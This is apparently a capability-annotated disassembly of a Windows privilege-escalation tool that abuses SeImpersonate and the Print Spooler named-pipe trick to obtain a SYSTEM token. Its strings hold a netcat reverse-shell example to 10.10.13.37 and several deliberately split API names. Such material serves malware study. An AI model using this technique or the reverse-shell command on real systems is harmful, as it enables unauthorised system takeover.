Function at 0x140001310
Capabilities:
Connect pipe
Create pipe
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov r8d, dword [0x14000762c]
mov rdi, rdx
mov ebx, ecx
cmp ecx, 1
jle 0x14000125c
mov rdx, qword [rdi + 8]
add rdi, 8
cmp word [rdx], 0x2d
jne 0x14000125c
movzx ecx, word [rdx + 2]
sub ecx, 0x63
je 0x14000122d
sub ecx, 1
je 0x1400011a5
sub ecx, 4
je 0x140001287
cmp ecx, 1
jne 0x14000127b
mov dword [0x140007628], ecx
jmp 0x140001251
dec ebx
mov rsi, rdi
cmp ebx, 1
jle 0x1400012c4
mov rcx, qword [rdi + 8]
add rdi, 8
cmp word [rcx], 0x2d
je 0x1400012c4
xor r8d, r8d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstoul]
mov dword [0x14000762c], eax
mov r8d, eax
test eax, eax
jne 0x140001251
mov rdx, qword [rsi + 8]
lea rcx, [0x1400045a0]
call fcn.140001010
lea rdx, [0x140004778]
lea rcx, str._naaBB_v_ws__by__A__n_n__Provided_that_the_current_user_has_the_SeImpersonate_privilege__this_tool_will_leverage_the_Print_n__Spooler_service_to_get_a_SYSTEM_token_and_then_run_a_custom_command_with_CreateProcessAsUser___n_n
call fcn.140001010
lea rcx, str.Arguments:_n___c__CMD_____Execute_the_command_CMD_n___i__________Interact_with_the_new_process_in_the_current_command_prompt__default_is_non_interactive__n___d__ID______Spawn_a_new_process_on_the_desktop_corresponding_to_this_session_ID__check_your_ID_with_qwinsta__n___h__________Thats_me_:__n_n
call fcn.140001010
lea rcx, str.Examples:_n____Run_A_as_B_in_the_current_console_n______aaBB.exe__i__c_powershell.exe_n____Spawn_a_SYSTEM_command_prompt_on_the_desktop_of_the_session_1_n______aaBB.exe__d_1__c_cmd.exe_n____Get_a_SYSTEM_reverse_shell_n______aaBB.exe__c__c:Temp_nc.exe_10.10.13.37_1337__e_cmd__n_n
call fcn.140001010
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
dec ebx
cmp ebx, 1
jle 0x1400012d5
mov rax, qword [rdi + 8]
add rdi, 8
cmp word [rax], 0x2d
je 0x1400012d5
mov qword [0x140007630], rax
dec ebx
cmp ebx, 1
jg 0x140001164
cmp dword [0x140007628], 0
je 0x1400012e6
test r8d, r8d
je 0x1400012e6
lea rcx, str.____More_than_one_interaction_mode_was_specified._n
jmp 0x140001213
lea rcx, str.____Invalid_argument:__ls_n
jmp 0x1400011e8
lea rdx, [0x140004778]
lea rcx, str._naaBB_v_ws__by__A__n_n__Provided_that_the_current_user_has_the_SeImpersonate_privilege__this_tool_will_leverage_the_Print_n__Spooler_service_to_get_a_SYSTEM_token_and_then_run_a_custom_command_with_CreateProcessAsUser___n_n
call fcn.140001010
lea rcx, str.Arguments:_n___c__CMD_____Execute_the_command_CMD_n___i__________Interact_with_the_new_process_in_the_current_command_prompt__default_is_non_interactive__n___d__ID______Spawn_a_new_process_on_the_desktop_corresponding_to_this_session_ID__check_your_ID_with_qwinsta__n___h__________Thats_me_:__n_n
call fcn.140001010
lea rcx, str.Examples:_n____Run_A_as_B_in_the_current_console_n______aaBB.exe__i__c_powershell.exe_n____Spawn_a_SYSTEM_command_prompt_on_the_desktop_of_the_session_1_n______aaBB.exe__d_1__c_cmd.exe_n____Get_a_SYSTEM_reverse_shell_n______aaBB.exe__c__c:Temp_nc.exe_10.10.13.37_1337__e_cmd__n_n
call fcn.140001010
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
lea rcx, str.____Missing_value_for_option:__d_n
call fcn.140001010
jmp 0x1400011ed
lea rcx, str.____Missing_value_for_option:__c_n
call fcn.140001010
jmp 0x1400011ed
cmp qword [0x140007630], 0
jne 0x1400012fc
lea rcx, str.____Please_specify_a_command_to_execute_n
jmp 0x140001213
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp 0x140001310
mov r11, rsp
push rbp
sub rsp, 0xd0
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov qword [r11 + 8], rbx
mov rbx, 0xffffffffffffffff
mov qword [r11 + 0x10], rsi
mov rbp, rbx
mov qword [r11 + 0x18], rdi
mov rsi, rbx
mov qword [r11 - 0x10], r14
mov qword [r11 - 0x18], r15
xor r15d, r15d
mov qword [rsp + 0x40], r15
call fcn.140001670
lea rdx, str.SeImpersonatePrivilege
test eax, eax
jne 0x140001377
lea rcx, str.____A_privilege_is_missing:__ws_n
call fcn.140001010
jmp 0x140001608
lea rcx, str.___Found_privilege:__ws_n
call fcn.140001010
xorps xmm0, xmm0
lea rcx, [rsp + 0x70]
movups xmmword [rsp + 0x70], xmm0
call qword [sym.imp.RPCRT4.dll_UuidCreate]
test eax, eax
jne 0x1400015fc
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call qword [sym.imp.RPCRT4.dll_UuidToStringW]
test eax, eax
jne 0x1400015fc
mov r14, qword [rsp + 0x40]
test r14, r14
je 0x1400015fc
xorps xmm0, xmm0
xor eax, eax
mov ecx, 0x208
mov qword [rsp + 0xa8], rax
movups xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x80], rax
movups xmmword [rsp + 0x98], xmm0
movups xmmword [rsp + 0x70], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x14000144c
mov r9, r14
lea r8, str..pipe_wspipe_spoolss
mov edx, 0x104
mov rcx, rax
call fcn.140001070
mov edx, 1
lea rcx, [rsp + 0x88]
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
jne 0x14000145d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.In_itial_zeSecur_tyDe_scr_iptor___failed._Error:__d_n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rcx, str.____Failed_to_create_a_named_pipe._n
call fcn.140001010
jmp 0x140001616
xor r9d, r9d
lea r8, [rsp + 0x78]
lea rcx, str.D:_A_OICI_GA___WD_
lea edx, [r9 + 1]
call qword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
test eax, eax
jne 0x14000148b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Convert_StringS_ecurityDescriptorToSec_urityD_escriptor___failed._Error:__d_n
jmp 0x14000143e
lea rax, [rsp + 0x70]
mov r9d, 0xa
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], r15d
mov edx, 0x40000003
mov dword [rsp + 0x28], 0x800
mov rcx, rdi
mov dword [rsp + 0x20], 0x800
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov rbx, rax
cmp rax, rsi
jne 0x1400014dd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Create_Named_Pipe___failed._Error:__d_n
jmp 0x14000143e
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test rbx, rbx
je 0x14000144c
xorps xmm0, xmm0
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
movups xmmword [rsp + 0x48], xmm0
lea edx, [r9 + 1]
movups xmmword [rsp + 0x58], xmm0
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov rsi, rax
test rax, rax
jne 0x14000151f
lea rdi, str.Cr_eateEven_t___failed._Error:__d_n
jmp 0x140001553
xorps xmm0, xmm0
mov qword [rsp + 0x60], rsi
lea rdx, [rsp + 0x48]
mov rcx, rbx
movdqu xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x140001577
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x140001577
lea rdi, str.Conn_ectNa_medPi_pe___failed._Error:__d_n
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rdi
call fcn.140001010
lea rcx, str.____Failed_to_connect_the_named_pipe._n
call fcn.140001010
mov rsi, r15
jmp 0x140001608
lea rcx, str.___Named_pipe_listening..._n
call fcn.140001010
mov r9, qword [rsp + 0x40]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
lea r8, [0x140001910]
xor edx, edx
mov dword [rsp + 0x20], r15d
xor ecx, ecx
mov dword [rsp + 0x68], r15d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbp, rax
test rax, rax
jne 0x1400015c9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Crea_teThr_ead___failed._Error:__d_n
call fcn.140001010
test rbp, rbp
jne 0x1400015d7
lea rcx, str.____Failed_to_trigger_the_Spooler_service._n
jmp 0x140001603
mov edx, 0x1388
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1400015f2
lea rcx, str.____Operation_failed_or_timed_out._n
jmp 0x140001603
mov rcx, rbx
call fcn.140001b30
jmp 0x140001608
lea rcx, str.____Failed_to_generate_a_name_for_the_pipe._n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x14000161f
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0xc0]
mov r14, qword [rsp + 0xc8]
mov rdi, qword [rsp + 0xf0]
mov rsi, qword [rsp + 0xe8]
mov rbx, qword [rsp + 0xe0]
test rbp, rbp
je 0x140001655
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140002010
add rsp, 0xd0
pop rbp
ret